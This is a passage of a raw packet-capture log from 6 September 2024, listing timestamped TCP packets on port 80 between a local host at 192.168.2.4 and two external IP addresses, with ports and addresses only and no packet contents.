Sep 6, 2024 08:17:07.245392084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.245398998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.245414019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.245434046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.245439053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.245445013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.245450020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.245455027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.245516062 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.245516062 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.247693062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247699022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247711897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247752905 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247765064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247776031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247782946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247792959 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.247826099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.247826099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.247909069 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247915030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247925997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247931957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247936964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247944117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.247968912 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.248261929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.248292923 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.249341965 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249349117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249361038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249378920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.249408960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249420881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249433041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249438047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249444008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249479055 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.249479055 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.249479055 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.249512911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249519110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249530077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249536037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249541044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249547005 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249547958 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.249583960 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.249824047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249891043 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.249896049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249901056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249907017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249912024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249917030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249929905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249931097 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.249934912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249958038 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.249984026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249989986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.249995947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250020981 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.250032902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250070095 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.250149012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250154972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250165939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250169992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250216961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.250216961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.250313997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250349998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250355959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250437975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250442982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250453949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250466108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250472069 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250478029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250483990 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250541925 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.250555038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250560999 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250572920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250577927 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250582933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.250591040 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.250622988 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.251631021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251637936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251642942 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251671076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.251693964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251699924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251704931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251710892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251730919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.251739025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251781940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.251781940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.251874924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251878977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251894951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251900911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251905918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251912117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251954079 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.251954079 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.251957893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251965046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.251991987 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252171040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252176046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252181053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252198935 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252207994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252218008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252224922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252250910 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252276897 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252276897 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252278090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252284050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252295017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252300024 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252305984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252347946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252427101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252440929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252446890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252450943 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252471924 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252533913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252547979 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252552986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252576113 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252630949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252646923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252657890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252664089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252669096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.252685070 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.252994061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253000021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253006935 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253034115 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.253061056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253067970 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253071070 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.253071070 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.253078938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253083944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253088951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253139973 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.253170013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253175020 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253180981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253185987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253190994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253196001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253202915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253206968 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.253241062 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.253241062 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.253640890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253703117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253706932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253726006 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.253768921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253778934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253789902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253796101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.253814936 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.254142046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254213095 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.254451036 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.254559040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254594088 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254599094 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254610062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254615068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254678965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.254678965 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.254729986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254735947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254750013 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.254754066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.258271933 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.261353016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261358976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261369944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261374950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261384964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261390924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261401892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261413097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261423111 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261447906 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261464119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261470079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261476040 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261480093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261492014 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261495113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261498928 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261511087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261524916 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261524916 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261569023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261598110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261614084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261620045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261626005 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261631012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261646032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261660099 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261667013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261677027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261677980 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261677980 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261739969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261745930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261755943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261775970 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261816025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261821032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261831045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261837006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261841059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261848927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261862993 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.261981964 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.261993885 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262000084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262006044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262011051 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262016058 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.262023926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262031078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262033939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262038946 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.262058020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.262058020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.262274981 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.262593031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262598038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262609959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262617111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262622118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262635946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262641907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.262650013 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.262681961 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.262887955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263046026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263077974 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263214111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263219118 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263225079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263230085 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263235092 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263247967 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263252974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263278961 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263278961 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263379097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263386011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263391018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263396025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263407946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263418913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263425112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263426065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263461113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263461113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263546944 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263551950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263564110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263569117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263580084 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263704062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263710022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263720989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263725996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263737917 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263777018 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263777018 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.263885021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263890982 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263902903 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263907909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263917923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263925076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.263950109 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.264043093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264046907 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264058113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264064074 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264074087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264075041 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.264081001 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264085054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264087915 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.264091969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264106035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264111042 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264115095 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264120102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264122009 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.264136076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264142036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264146090 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.264147997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264154911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264161110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.264168024 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.264198065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.264198065 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.266272068 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.269833088 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.269839048 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.269850969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.269895077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.269901037 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.269906998 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.269912004 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.269917011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.269958973 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.269958973 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.269958973 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.270025969 CEST	80	49737	147.45.44.104	192.168.2.4
